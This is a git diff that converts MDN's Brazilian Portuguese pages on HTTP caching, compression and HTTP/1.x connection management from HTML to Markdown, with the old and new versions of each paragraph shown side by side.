Quando um recurso é armazenado em um cache, ele poderia teoricamente ser servido para sempre. Caches possuem armazenamento finito então itens são periodicamente removidos do armazenamento. Esse processo é chamado de despejo de cache. Por outro lado, alguns recursos podem mudar no servidor fazendo com que o cache fique desatualizado. Como o HTTP é um protocolo cliente-servidor, os servidores não podem contatar caches e clientes quando um recurso é alterado; eles precisam comunicar um tempo de expiração para o recurso. Antes deste período de expiração, o recurso é novo; após o tempo de expiração, o recurso é obsoleto. Os algoritmos de despejo geralmente privilegiam recursos novos em vez de recursos obsoletos. Observe que um recurso obsoleto não é despejado ou ignorado; quando o cache recebe uma solicitação para um recurso obsoleto, ele encaminha essa solicitação com um {{HTTPHeader ("If-None-Match")}} para verificar se, de fato, ainda está fresco. Em caso afirmativo, o servidor retorna um cabeçalho {{HTTPStatus ("304")}} (Não modificado) sem enviar o corpo do recurso solicitado, economizando alguma largura de banda.

+Quando um recurso é armazenado em um cache, ele poderia teoricamente ser servido para sempre. Caches possuem armazenamento finito então itens são periodicamente removidos do armazenamento. Esse processo é chamado de _despejo de cache_. Por outro lado, alguns recursos podem mudar no servidor fazendo com que o cache fique desatualizado. Como o HTTP é um protocolo cliente-servidor, os servidores não podem contatar caches e clientes quando um recurso é alterado; eles precisam comunicar um tempo de expiração para o recurso. Antes deste período de expiração, o recurso é novo; após o tempo de expiração, o recurso é obsoleto. Os algoritmos de despejo geralmente privilegiam recursos novos em vez de recursos obsoletos. Observe que um recurso obsoleto não é despejado ou ignorado; quando o cache recebe uma solicitação para um recurso obsoleto, ele encaminha essa solicitação com um {{HTTPHeader ("If-None-Match")}} para verificar se, de fato, ainda está _fresco_. Em caso afirmativo, o servidor retorna um cabeçalho {{HTTPStatus ("304")}} (Não modificado) sem enviar o corpo do recurso solicitado, economizando alguma largura de banda. -

Here is an example of this process with a shared cache proxy:

+Here is an example of this process with a shared cache proxy: -

Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale.

+![Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale.](https://mdn.mozillademos.org/files/13771/HTTPStaleness.png) -

O tempo de Vida é calculado beaseado em vários headers. Se o "Cache-control: max-age=N" header é especificado, então o tempo de vida é igual a N. Se este header não está presente, o que ocorre com frequência, ele checa se um {{HTTPHeader("Expires")}} header está presente. Se um Expires header existe, então é o valor menos o valor do {{HTTPHeader("Date")}} header determina o tempo de vida. Finalmente, se nenhum header está presente, procure pelo {{HTTPHeader("Last-Modified")}} header. Se este header está presente, então o tempo de vidaé igual ao valor do Date header menos o valor do Last-modified header dividido por 10.
- O valor de expiração é computado por:

+O tempo de Vida é calculado beaseado em vários headers. Se o "`Cache-control: max-age=N`" header é especificado, então o tempo de vida é igual a N. Se este header não está presente, o que ocorre com frequência, ele checa se um {{HTTPHeader("Expires")}} header está presente. Se um `Expires` header existe, então é o valor menos o valor do {{HTTPHeader("Date")}} header determina o tempo de vida. Finalmente, se nenhum header está presente, procure pelo {{HTTPHeader("Last-Modified")}} header. Se este header está presente, então o tempo de vidaé igual ao valor do `Date` header menos o valor do `Last-modified` header dividido por 10. +O valor de expiração é computado por: -
expirationTime = responseTime + freshnessLifetime - currentAge
-
+``` +expirationTime = responseTime + freshnessLifetime - currentAge +``` -

No qual responseTimeé o tempo em que a resposta é recebida de acordo com o navegador.

+No qual `responseTime`é o tempo em que a resposta é recebida de acordo com o navegador. -

Revved resources

+### Revved resources -

The more we use cached resources, the better the responsiveness and the performance of a Web site will be. To optimize this, good practices recommend to set expiration times as far in the future as possible. This is possible on resources that are regularly updated, or often, but is problematic for resources that are rarely and infrequently updated. They are the resources that would benefit the most from caching resources, yet this makes them very difficult to update. This is typical of the technical resources included and linked from each Web pages: JavaScript and CSS files change infrequently, but when they change you want them to be updated quickly.

+The more we use cached resources, the better the responsiveness and the performance of a Web site will be. To optimize this, good practices recommend to set expiration times as far in the future as possible. This is possible on resources that are regularly updated, or often, but is problematic for resources that are rarely and infrequently updated. They are the resources that would benefit the most from caching resources, yet this makes them very difficult to update. This is typical of the technical resources included and linked from each Web pages: JavaScript and CSS files change infrequently, but when they change you want them to be updated quickly. -

Web developers invented a technique that Steve Souders called revving[1]. Infrequently updated files are named in specific way: in their URL, usually in the filename, a revision (or version) number is added. That way each new revision of this resource is considered as a resource on its own that never changes and that can have an expiration time very far in the future, usually one year or even more. In order to have the new versions, all the links to them must be changed, that is the drawback of this method: additional complexity that is usually taken care of by the tool chain used by Web developers. When the infrequently variable resources change they induce an additional change to often variable resources. When these are read, the new versions of the others are also read.

+Web developers invented a technique that Steve Souders called _revving_[\[1\]](https://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/). Infrequently updated files are named in specific way: in their URL, usually in the filename, a revision (or version) number is added. That way each new revision of this resource is considered as a resource on its own that _never_ changes and that can have an expiration time very far in the future, usually one year or even more. In order to have the new versions, all the links to them must be changed, that is the drawback of this method: additional complexity that is usually taken care of by the tool chain used by Web developers. When the infrequently variable resources change they induce an additional change to often variable resources. When these are read, the new versions of the others are also read. -

This technique has an additional benefit: updating two cached resources at the same time will not lead to the situation where the out-dated version of one resource is used in combination with the new version of the other one. This is very important when web sites have CSS stylesheets or JS scripts that have mutual dependencies, i.e., they depend on each other because they refer to the same HTML elements.

+This technique has an additional benefit: updating two cached resources at the same time will not lead to the situation where the out-dated version of one resource is used in combination with the new version of the other one. This is very important when web sites have CSS stylesheets or JS scripts that have mutual dependencies, i.e., they depend on each other because they refer to the same HTML elements. -

+![](https://mdn.mozillademos.org/files/13779/HTTPRevved.png) -

The revision version added to revved resources doesn't need to be a classical revision string like 1.1.3, or even a monotonously growing suite of number. It can be anything that prevent collisions, like a hash or a date.

+The revision version added to revved resources doesn't need to be a classical revision string like 1.1.3, or even a monotonously growing suite of number. It can be anything that prevent collisions, like a hash or a date. -

Cache validation

+## Cache validation -

Revalidation is triggered when the user presses the reload button. It is also triggered under normal browsing if the cached response includes the "Cache-control: must-revalidate" header. Another factor is the cache validation preferences in the Advanced->Cache preferences panel. There is an option to force a validation each time a document is loaded.

+Revalidation is triggered when the user presses the reload button. It is also triggered under normal browsing if the cached response includes the "`Cache-control: must-revalidate`" header. Another factor is the cache validation preferences in the `Advanced->Cache` preferences panel. There is an option to force a validation each time a document is loaded. -

When a cached document's expiration time has been reached, it is either validated or fetched again. Validation can only occur if the server provided either a strong validator or a weak validator.

+When a cached document's expiration time has been reached, it is either validated or fetched again. Validation can only occur if the server provided either a _strong validator_ or a _weak validator_. -

ETags

+### ETags -

The {{HTTPHeader("ETag")}} response header is an opaque-to-the-useragent value that can be used as a strong validator. That means that a HTTP user-agent, such as the browser, does not know what this string represents and can't predict what its value would be. If the ETag header was part of the response for a resource, the client can issue an {{HTTPHeader("If-None-Match")}} in the header of future requests – in order to validate the cached resource.

+The {{HTTPHeader("ETag")}} response header is an _opaque-to-the-useragent_ value that can be used as a strong validator. That means that a HTTP user-agent, such as the browser, does not know what this string represents and can't predict what its value would be. If the `ETag` header was part of the response for a resource, the client can issue an {{HTTPHeader("If-None-Match")}} in the header of future requests – in order to validate the cached resource. -

The {{HTTPHeader("Last-Modified")}} response header can be used as a weak validator. It is considered weak because it only has 1-second resolution. If the Last-Modified header is present in a response, then the client can issue an {{HTTPHeader("If-Modified-Since")}} request header to validate the cached document.

+The {{HTTPHeader("Last-Modified")}} response header can be used as a weak validator. It is considered weak because it only has 1-second resolution. If the `Last-Modified` header is present in a response, then the client can issue an {{HTTPHeader("If-Modified-Since")}} request header to validate the cached document. -

When a validation request is made, the server can either ignore the validation request and response with a normal {{HTTPStatus(200)}} OK, or it can return {{HTTPStatus(304)}} Not Modified (with an empty body) to instruct the browser to use its cached copy. The latter response can also include headers that update the expiration time of the cached document.

+When a validation request is made, the server can either ignore the validation request and response with a normal {{HTTPStatus(200)}} `OK`, or it can return {{HTTPStatus(304)}} `Not Modified` (with an empty body) to instruct the browser to use its cached copy. The latter response can also include headers that update the expiration time of the cached document. -

Varying responses

+## Varying responses -

The {{HTTPHeader("Vary")}} HTTP response header determines how to match future request headers to decide whether a cached response can be used rather than requesting a fresh one from the origin server.

+The {{HTTPHeader("Vary")}} HTTP response header determines how to match future request headers to decide whether a cached response can be used rather than requesting a fresh one from the origin server. -

When a cache receives a request that can be satisfied by a cached response that has a Vary header field, it must not use that cached response unless all header fields as nominated by the Vary header match in both the original (cached) request and the new request.

+When a cache receives a request that can be satisfied by a cached response that has a `Vary` header field, it must not use that cached response unless all header fields as nominated by the `Vary` header match in both the original (cached) request and the new request. -

The Vary header leads cache to use more HTTP headers as key for the cache.

+![The Vary header leads cache to use more HTTP headers as key for the cache.](https://mdn.mozillademos.org/files/13769/HTTPVary.png) -

This can be useful for serving content dynamically, for example. When using the Vary: User-Agent header, caching servers should consider the user agent when deciding whether to serve the page from cache. If you are serving different content to mobile users, it can help you to avoid that a cache may mistakenly serve a desktop version of your site to your mobile users. In addition, it can help Google and other search engines to discover the mobile version of a page, and might also tell them that no Cloaking is intended.

+This can be useful for serving content dynamically, for example. When using the `Vary: User-Agent` header, caching servers should consider the user agent when deciding whether to serve the page from cache. If you are serving different content to mobile users, it can help you to avoid that a cache may mistakenly serve a desktop version of your site to your mobile users. In addition, it can help Google and other search engines to discover the mobile version of a page, and might also tell them that no [Cloaking](https://en.wikipedia.org/wiki/Cloaking) is intended. -
Vary: User-Agent
+``` +Vary: User-Agent +``` -

Because the {{HTTPHeader("User-Agent")}} header value is different ("varies") for mobile and desktop clients, caches will not be used to serve mobile content mistakenly to desktop users or vice versa.

+Because the {{HTTPHeader("User-Agent")}} header value is different ("varies") for mobile and desktop clients, caches will not be used to serve mobile content mistakenly to desktop users or vice versa. -

See also

+## See also - +- [RFC 7234: Hypertext Transfer Protocol (HTTP/1.1): Caching](https://tools.ietf.org/html/rfc7234) +- [Caching Tutorial – Mark Nottingham](https://www.mnot.net/cache_docs) +- [HTTP caching – Ilya Grigorik](https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/http-caching) +- [RedBot](https://redbot.org/), a tool to check your cache-related HTTP headers. diff --git a/files/pt-br/web/http/compression/index.md b/files/pt-br/web/http/compression/index.md index 462479b43f42a9..164d9875887f2f 100644 --- a/files/pt-br/web/http/compression/index.md +++ b/files/pt-br/web/http/compression/index.md @@ -8,66 +8,58 @@ tags: translation_of: Web/HTTP/Compression original_slug: Web/HTTP/Compressão --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

A Compressão é uma forma importante de aumentar o desempenho de um Web site. Para alguns documentos, a redução de tamanho de até 70% diminui a necessidade de capacidade de largura de banda. Com o passar dos anos, os algoritmos também ficaram mais eficientes e novos têm recebido suporte por clientes e servidores.

+A **Compressão** é uma forma importante de aumentar o desempenho de um Web site.\*\* \*\*Para alguns documentos, a redução de tamanho de até 70% diminui a necessidade de capacidade de largura de banda. Com o passar dos anos, os algoritmos também ficaram mais eficientes e novos têm recebido suporte por clientes e servidores. -

Na prática, os desenvolvedores web não precisam implementar mecanismos de compressão de dados, pois ambos os navegadores e servidores já possuem tais mecanismos implementados. Porém, é preciso ter certeza de que o servidor esteja configurado adequadamente. A compressão acontece em três níveis distintos:

+Na prática, os desenvolvedores web não precisam implementar mecanismos de compressão de dados, pois ambos os navegadores e servidores já possuem tais mecanismos implementados. Porém, é preciso ter certeza de que o servidor esteja configurado adequadamente. A compressão acontece em três níveis distintos: -
    -
  • primeiramente, alguns formatos de arquivo são comprimidos com métodos otimizados específicos,
  • -
  • então a criptografia ocorre no nível HTTP (o recurso é transmitido comprimido de ponta a ponta),
  • -
  • e finalmente a compressão pode ser definida no nível da conexão, entre dois nós de uma conexão HTTP.
  • -
+- primeiramente, alguns formatos de arquivo são comprimidos com métodos otimizados específicos, +- então a criptografia ocorre no nível HTTP (o recurso é transmitido comprimido de ponta a ponta), +- e finalmente a compressão pode ser definida no nível da conexão, entre dois nós de uma conexão HTTP. -

Compressão de formato de arquivo

+## Compressão de formato de arquivo -

Cada tipo de dado tem alguma redundância, ou seja, espaço desperdiçado. Se um texto pode geralmente apresentar até 60% de redundância, essa taxa pode ser muito maior para outras mídias, como áudio e vídeo. Ao contrário do texto, esses outros tipos de mídia ocupam muito espaço de armazenamento, sendo que a necessidade de recuperar esse espaço desperdiçado apareceu muito cedo. Engenheiros projetaram o algoritmo de compressão otimizada usada por formatos de arquivo para esse fim específico. Os algoritmos de compressão usados para arquivos podem ser agrupados em duas grandes categorias:

+Cada tipo de dado tem alguma redundância, ou seja, espaço desperdiçado. Se um texto pode geralmente apresentar até 60% de redundância, essa taxa pode ser muito maior para outras mídias, como áudio e vídeo. Ao contrário do texto, esses outros tipos de mídia ocupam muito espaço de armazenamento, sendo que a necessidade de recuperar esse espaço desperdiçado apareceu muito cedo. Engenheiros projetaram o algoritmo de compressão otimizada usada por formatos de arquivo para esse fim específico. Os algoritmos de compressão usados para arquivos podem ser agrupados em duas grandes categorias: -
    -
  • Compressão sem perdas (do inglês Loss-less compression), em que o ciclo de compressão-descompressão não altera os dados recuperados. Corresponde byte a byte com o original. Para imagens, gif e png usam a compressão sem perdas.
  • -
  • Compressão com perdas (do inglês Lossy compression), onde o ciclo altera os dados originais, de forma imperceptível para o usuário.
    - Formatos de vídeo na Web utilizam compressão com perdas, assim como o formato jpeg para imagens.
  • -
+- Compressão sem perdas (do inglês _Loss-less compression_), em que o ciclo de compressão-descompressão não altera os dados recuperados. Corresponde byte a byte com o original. Para imagens, `gif` e `png` usam a compressão sem perdas. +- Compressão com perdas (do inglês _Lossy compression_), onde o ciclo altera os dados originais, de forma imperceptível para o usuário. + Formatos de vídeo na Web utilizam compressão com perdas, assim como o formato `jpeg` para imagens. -

Alguns formatos podem ser usados para a compressão com ou sem perdas, como o webp. Geralmente, o algoritmo de compressão com perdas pode ser configurado para comprimir mais ou menos, resultando em uma qualidade menor ou maior.

+Alguns formatos podem ser usados para a compressão com ou sem perdas, como o `webp`. Geralmente, o algoritmo de compressão com perdas pode ser configurado para comprimir mais ou menos, resultando em uma qualidade menor ou maior. -

Para o melhor desempenho de um site, é ideal comprimir o máximo possível, mantendo um nível aceitável de qualidade. Para imagens, uma imagem gerada por uma ferramenta pode não ser otimizada o suficiente para a Web. Recomenda-se portanto o uso de ferramentas que comprimirão o máximo possível com uma certa qualidade exigida. Existem inúmeras ferramentas especializadas para isso.

+Para o melhor desempenho de um site, é ideal comprimir o máximo possível, mantendo um nível aceitável de qualidade. Para imagens, uma imagem gerada por uma ferramenta pode não ser otimizada o suficiente para a Web. Recomenda-se portanto o uso de ferramentas que comprimirão o máximo possível com uma certa qualidade exigida. Existem [inúmeras ferramentas](http://www.creativebloq.com/design/image-compression-tools-1132865) especializadas para isso. -

Algoritmos de compressão com perdas geralmente são mais eficientes que os sem perdas.

+Algoritmos de compressão com perdas geralmente são mais eficientes que os sem perdas. -
-

Como a compressão funciona melhor em tipos específicos de arquivos, ela geralmente não fornece nada mais ao comprimir o mesmo arquivo uma segunda vez. Na verdade, isso geralmente é contraproducente, pois o custo da sobrecarga (algoritmos geralmente precisam de um dicionário que some ao tamanho inicial) pode ser maior do que o ganho extra na compressão, resultando em um arquivo maior. Não use as duas técnicas a seguir para arquivos em um formato comprimido.

-
+> **Nota:** Como a compressão funciona melhor em tipos específicos de arquivos, ela geralmente não fornece nada mais ao comprimir o mesmo arquivo uma segunda vez. Na verdade, isso geralmente é contraproducente, pois o custo da sobrecarga (algoritmos geralmente precisam de um dicionário que some ao tamanho inicial) pode ser maior do que o ganho extra na compressão, resultando em um arquivo maior. Não use as duas técnicas a seguir para arquivos em um formato comprimido. -

Compressão de ponta a ponta

+## Compressão de ponta a ponta -

Para compressão, a compressão de ponta a ponta é onde residem as maiores melhorias de desempenho dos sites. Compressão de ponta a ponta refere-se a uma compressão do corpo de uma mensagem que é realizada pelo servidor e permanecerá inalterada até atingir o cliente. Quaisquer que sejam os nós intermediários, eles deixam o corpo intacto.

+Para compressão, a compressão de ponta a ponta é onde residem as maiores melhorias de desempenho dos sites. Compressão de ponta a ponta refere-se a uma compressão do corpo de uma mensagem que é realizada pelo servidor e permanecerá inalterada até atingir o cliente. Quaisquer que sejam os nós intermediários, eles deixam o corpo intacto. -

+![](https://mdn.mozillademos.org/files/13801/HTTPEnco1.png) -

+Todos os navegadores e servidores modernos suportam a compressão, bastante somente negociar o algoritmo a ser usado. Esses algoritmos são otimizados para texto. Nos anos 90, a tecnologia de compressão avançava a um ritmo acelerado e numerosos algoritmos sucessivos foram adicionados ao conjunto de escolhas possíveis. Hoje em dia, apenas dois são relevantes: o `gzip`, o mais comum, e `br` o novo desafiante. -

Todos os navegadores e servidores modernos suportam a compressão, bastante somente negociar o algoritmo a ser usado. Esses algoritmos são otimizados para texto. Nos anos 90, a tecnologia de compressão avançava a um ritmo acelerado e numerosos algoritmos sucessivos foram adicionados ao conjunto de escolhas possíveis. Hoje em dia, apenas dois são relevantes: o gzip, o mais comum, e br o novo desafiante.

+Para selecionar o algoritmo a ser usado, os navegadores e servidores usam a [negociação proativa de conteúdo](/pt-BR/docs/Web/HTTP/Content_negotiation). O navegador envia um cabeçalho {{HTTPHeader("Accept-Encoding")}} com o algoritmo que ele suporta e sua ordem de precedência. O servidor escolhe um, usa-o para comprimir o corpo da resposta e usa o {{HTTPHeader("Content-Encoding")}} para informar ao navegador o algoritmo escolhido. Como a negociação de conteúdo foi usada para escolher uma representação baseada em sua codificação, o servidor deve enviar um cabeçalho {{HTTPHeader("Vary")}} contendo pelo menos {{HTTPHeader("Accept-Encoding")}} ao lado do cabeçalho na resposta. Dessa forma, os caches poderão armazenar em cache as diferentes representações do recurso. -

Para selecionar o algoritmo a ser usado, os navegadores e servidores usam a negociação proativa de conteúdo. O navegador envia um cabeçalho {{HTTPHeader("Accept-Encoding")}} com o algoritmo que ele suporta e sua ordem de precedência. O servidor escolhe um, usa-o para comprimir o corpo da resposta e usa o {{HTTPHeader("Content-Encoding")}} para informar ao navegador o algoritmo escolhido. Como a negociação de conteúdo foi usada para escolher uma representação baseada em sua codificação, o servidor deve enviar um cabeçalho {{HTTPHeader("Vary")}} contendo pelo menos {{HTTPHeader("Accept-Encoding")}} ao lado do cabeçalho na resposta. Dessa forma, os caches poderão armazenar em cache as diferentes representações do recurso.

+![](https://mdn.mozillademos.org/files/13811/HTTPCompression1.png) -

+Como a copressão de dados traz melhorias significativas no desempenho, recomenda-se ativá-la para todos os arquivos, com exceção daqueles já comprimidos, como imagens, arquivos de áudio e vídeos. -

Como a copressão de dados traz melhorias significativas no desempenho, recomenda-se ativá-la para todos os arquivos, com exceção daqueles já comprimidos, como imagens, arquivos de áudio e vídeos.

+Apache suporta compressão e usa [mod_deflate](http://httpd.apache.org/docs/current/mod/mod_deflate.html); para nginx existe [ngx_http_gzip_module](http://nginx.org/en/docs/http/ngx_http_gzip_module.html); para IIS, o elemento [``](https://www.iis.net/configreference/system.webserver/httpcompression). -

Apache suporta compressão e usa mod_deflate; para nginx existe ngx_http_gzip_module; para IIS, o elemento <httpCompression>.

+## Compressão de nó a nó (_Hop-by-hop_) -

Compressão de nó a nó (Hop-by-hop)

+A compressão de nó a nó (do inglês _Hop-by-hop compression_), embora semelhante à compresão de ponta a ponta, difere em um elemento fundamental: a compressão não acontece no recurso no servidor, criando uma representação específica que é então transmitida, mas sim no corpo da mensagem entre dois nós no caminho entre o cliente e o servidor. Conexões entre nós intermediários sucessivos podem aplicar uma compressão diferente. -

A compressão de nó a nó (do inglês Hop-by-hop compression), embora semelhante à compresão de ponta a ponta, difere em um elemento fundamental: a compressão não acontece no recurso no servidor, criando uma representação específica que é então transmitida, mas sim no corpo da mensagem entre dois nós no caminho entre o cliente e o servidor. Conexões entre nós intermediários sucessivos podem aplicar uma compressão diferente.

+![](https://mdn.mozillademos.org/files/13807/HTTPTE1.png) -

+Para fazer isso, o HTTP usa um mecanismo semelhante à negociação de conteúdo para a compressão ponta a ponta: o nó que transmite a solicitação anuncia sua vontade usando o cabeçalho {{HTTPHeader ("TE")}}, sendo que o outro nó escolhe o método adequado, aplica-o e indica a sua escolha com o cabeçalho {{HTTPHeader("Transfer-Encoding")}}. -

Para fazer isso, o HTTP usa um mecanismo semelhante à negociação de conteúdo para a compressão ponta a ponta: o nó que transmite a solicitação anuncia sua vontade usando o cabeçalho {{HTTPHeader ("TE")}}, sendo que o outro nó escolhe o método adequado, aplica-o e indica a sua escolha com o cabeçalho {{HTTPHeader("Transfer-Encoding")}}.

+![](https://mdn.mozillademos.org/files/13809/HTTPComp2.png) -

+Na prática, a compressão de nó a nó é transparente para o servidor e o cliente, sendo raramente usada. {{HTTPHeader ("TE")}} e {{HTTPHeader ("Transfer-Encoding")}} são usados principalmente para enviar uma resposta por partes, permitindo iniciar a transmissão de um recurso sem conhecer seu tamanho. -

Na prática, a compressão de nó a nó é transparente para o servidor e o cliente, sendo raramente usada. {{HTTPHeader ("TE")}} e {{HTTPHeader ("Transfer-Encoding")}} são usados principalmente para enviar uma resposta por partes, permitindo iniciar a transmissão de um recurso sem conhecer seu tamanho.

- -

Observe que usar {{HTTPHeader("Transfer-Encoding")}} e compressão a nível de salto entre nós é tão raro que a maioria dos servidores, como Apache, nginx ou IIS, não apresentam uma maneira fácil de configurá-lo. Tal configuração geralmente acontece no nível do proxy.

+Observe que usar {{HTTPHeader("Transfer-Encoding")}} e compressão a nível de salto entre nós é tão raro que a maioria dos servidores, como Apache, nginx ou IIS, não apresentam uma maneira fácil de configurá-lo. Tal configuração geralmente acontece no nível do proxy. diff --git a/files/pt-br/web/http/connection_management_in_http_1.x/index.md b/files/pt-br/web/http/connection_management_in_http_1.x/index.md index 1cfebeb78913c7..6f5bc27d7a1857 100644 --- a/files/pt-br/web/http/connection_management_in_http_1.x/index.md +++ b/files/pt-br/web/http/connection_management_in_http_1.x/index.md @@ -13,81 +13,71 @@ tags: translation_of: Web/HTTP/Connection_management_in_HTTP_1.x original_slug: Web/HTTP/Gerenciamento_de_Conexão_em_HTTP_1.x --- -

Gerenciamento de Conexão é um tema central em HTTP: abertura e manutenção de conexões e em grande parte tem impacto sobre o desempenho de Web sites e aplicações Web. Existem vários modelos, em HTTP/1.x: ligações de curta duração, conexões persistentes, canalização e HTTP (HTTP pipelining).

+Gerenciamento de Conexão é um tema central em HTTP: abertura e manutenção de conexões e em grande parte tem impacto sobre o desempenho de Web sites e aplicações Web. Existem vários modelos, em HTTP/1.x: _ligações de curta duração, conexões persistentes, canalização e HTTP (HTTP pipelining)_. -

HTTP é um protocolo de transporte que fornece conexão entre o cliente e o servidor geralmente depende de TCP. Em sua infância, HTTP usava um único modelo para lidar com tais conexões. Sua conexão é de curta duração. Essas conexões foram de curta duração: criado um novo cada vez que enviar um pedido necessário, e fechado uma vez a resposta tinha sido recebida.

+HTTP é um protocolo de transporte que fornece conexão entre o cliente e o servidor geralmente depende de TCP. Em sua infância, HTTP usava um único modelo para lidar com tais conexões. Sua conexão é de curta duração. Essas conexões foram de curta duração: criado um novo cada vez que enviar um pedido necessário, e fechado uma vez a resposta tinha sido recebida. -

Este simples modelo realiza uma limitação inata em desempenho: a abertura de cada uma das conexões TCP é uma operação de consumo de recursos.Várias mensagens devem ser trocadas entre o cliente e o servidor. Latência de rede e largura de banda afetam o desempenho quando precisa de uma solicitação de envio. Páginas de Web modernas exigem muitos pedidos (uma dúzia ou mais) para servir a quantidade de informação necessária, provando este modelo anterior ineficiente.

+Este simples modelo realiza uma limitação inata em desempenho: a abertura de cada uma das conexões TCP é uma operação de consumo de recursos.Várias mensagens devem ser trocadas entre o cliente e o servidor. Latência de rede e largura de banda afetam o desempenho quando precisa de uma solicitação de envio. Páginas de Web modernas exigem muitos pedidos (uma dúzia ou mais) para servir a quantidade de informação necessária, provando este modelo anterior ineficiente. -

Dois novos modelos foram criados no HTTP/1.1.

+Dois novos modelos foram criados no HTTP/1.1. -
    -
  1. O modelo de conexão persistente, mantém conexões abertas entre solicitações sucessivas, reduzindo o tempo necessário para abrir novas conexões.
  2. -
  3. O modelo de pipelining HTTP, vai um passo além, enviando várias solicitações sucessivas sem nem esperar por uma resposta, reduzindo em grande parte a latência da rede.
  4. -
+1. **O modelo de conexão persistente**, mantém conexões abertas entre solicitações sucessivas, reduzindo o tempo necessário para abrir novas conexões. +2. **O modelo de pipelining HTTP**, vai um passo além, enviando várias solicitações sucessivas sem nem esperar por uma resposta, reduzindo em grande parte a latência da rede. -

Compares the performance of the three HTTP/1.x connection models: short-lived connections, persistent connections, and HTTP pipelining.

+![Compares the performance of the three HTTP/1.x connection models: short-lived connections, persistent connections, and HTTP pipelining.](https://mdn.mozillademos.org/files/13727/HTTP1_x_Connections.png) -
-

HTTP/2 Adiciona modelos adicionais para o gerenciamento de conexão.

-
+> **Nota:** HTTP/2 Adiciona modelos adicionais para o gerenciamento de conexão. -

Um ponto importante para observar, que gerenciamento de conexão HTTP, aplica-se para a conexão entre dois nós consecutivos, que é o hop-by-hop e não end-to-end . O modelo usado em conexões entre um cliente e seu primeiro proxy pode diferir do modelo entre um proxy e o servidor de destino (ou qualquer proxies intermédios). Os cabeçalhos HTTP envolvidos na definição do modelo de conexão, como {{HTTPHeader("Connection")}} e {{HTTPHeader("Keep-Alive")}}, são hop-by-hop, cabeçalhos com seus valores poderão ser alterados por nós intermediários.

+Um ponto importante para observar, que gerenciamento de conexão HTTP, aplica-se para a conexão entre dois nós consecutivos, que é o [hop-by-hop](/pt-BR/docs/Web/HTTP/Headers#hbh) e não [end-to-end](/pt-BR/docs/Web/HTTP/Headers#e2e) . O modelo usado em conexões entre um cliente e seu primeiro proxy pode diferir do modelo entre um proxy e o servidor de destino (ou qualquer proxies intermédios). Os cabeçalhos HTTP envolvidos na definição do modelo de conexão, como {{HTTPHeader("Connection")}} e {{HTTPHeader("Keep-Alive")}}, são [hop-by-hop](/pt-BR/docs/Web/HTTP/Headers#hbh), cabeçalhos com seus valores poderão ser alterados por nós intermediários. -

Short-lived connections (Conexões de curta duração)

+## Short-lived connections (Conexões de curta duração) -

O modelo original de HTTP e o padrão HTTP/1.0, é short-lived connections (conexões de curta duração). Cada solicitação HTTP é concluída na sua própria conexão; Isto significa que um handshake TCP acontece antes de cada solicitação HTTP, e estas são serializadas.

+O modelo original de HTTP e o padrão HTTP/1.0, é short-lived connections (conexões de curta duração). Cada solicitação HTTP é concluída na sua própria conexão; Isto significa que um handshake TCP acontece antes de cada solicitação HTTP, e estas são serializadas. -

O handshake TCP em si é demorado, mas uma conexão TCP adapta-se a sua carga, tornando-se mais eficiente com mais conexões sustentadas (ou aquecidas). Conexões de curta duração não fazem uso desse recurso de eficiência do TCP, e degrada o desempenho do ideal persistindo para transmitir mais de uma conexão nova, frio.

+O handshake TCP em si é demorado, mas uma conexão TCP adapta-se a sua carga, tornando-se mais eficiente com mais conexões sustentadas (ou aquecidas). Conexões de curta duração não fazem uso desse recurso de eficiência do TCP, e degrada o desempenho do ideal persistindo para transmitir mais de uma conexão nova, frio. -

cabeçalhos com seus valores poderão ser alterados por nós intermediários. (if there is no {{HTTPHeader("Connection")}} header, or if its value is set to close). Em HTTP/1.1 este modelo é apenas usado quando o {{HTTPHeader("Connection")}}cabeçalho é enviado com um valor de fechamento.

+cabeçalhos com seus valores poderão ser alterados por nós intermediários. (if there is no {{HTTPHeader("Connection")}} header, or if its value is set to `close`). Em HTTP/1.1 este modelo é apenas usado quando o {{HTTPHeader("Connection")}}cabeçalho é enviado com um valor de fechamento. -
A menos que lidemos com um sistema muito antigo, que não suporta uma conexão persistente, não há nenhuma razão convincente para usar este modelo.
+> **Nota:** A menos que lidemos com um sistema muito antigo, que não suporta uma conexão persistente, não há nenhuma razão convincente para usar este modelo. -

Conexões Persistentes

+## Conexões Persistentes -

Short-lived connections (conexões de curta duração) tem dois grandes problemas: o tempo necessário para estabelecer uma nova conexão é significativo, e desempenho da conexão TCP subjacente melhora somente quando esta conexão tem sido usado há algum tempo (conexão quente). Para aliviar estes problemas, foi concebido o conceito de uma conexão persistente, mesmo antes de HTTP/1.1. Alternativamente, este pode ser chamado uma conexão keep-alive.

+Short-lived connections (conexões de curta duração) tem dois grandes problemas: o tempo necessário para estabelecer uma nova conexão é significativo, e desempenho da conexão TCP subjacente melhora somente quando esta conexão tem sido usado há algum tempo (conexão quente). Para aliviar estes problemas, foi concebido o conceito de uma conexão persistente, mesmo antes de HTTP/1.1. Alternativamente, este pode ser chamado uma conexão keep-alive. -

É uma conexão persistente que permanece aberto por um período e pode ser reutilizado por vários pedidos, salvando a necessidade de um novo handshake TCP, e utilizando recursos para melhorar o desempenho do TCP. Esta conexão não vai ficar aberta para sempre: conexões ociosas são fechadas depois de algum tempo (um servidor pode usar o cabeçalho {{HTTPHeader("Keep-Alive")}} para especificar um tempo mínimo de conexão que deve ser mantido aberto).

+É uma conexão persistente que permanece aberto por um período e pode ser reutilizado por vários pedidos, salvando a necessidade de um novo handshake TCP, e utilizando recursos para melhorar o desempenho do TCP. Esta conexão não vai ficar aberta para sempre: conexões ociosas são fechadas depois de algum tempo (um servidor pode usar o cabeçalho {{HTTPHeader("Keep-Alive")}} para especificar um tempo mínimo de conexão que deve ser mantido aberto). -

Conexões persistentes também têm desvantagens, mesmo quando em marcha lenta eles consomem recursos do servidor e sob pesada carga, pode efetuar-se {{glossary("DoS attack", "DoS attacks")}}. Em tais casos, usar conexões não-persistentes, que estão fechadas, assim como elas estão ociosas, pode fornecer um melhor desempenho.HTTP/1.0 as conexões sem persistencia por default.Setting {{HTTPHeader("Connection")}} para algo diferente de fechar, costuma após repetir, irá torná-los persistente.

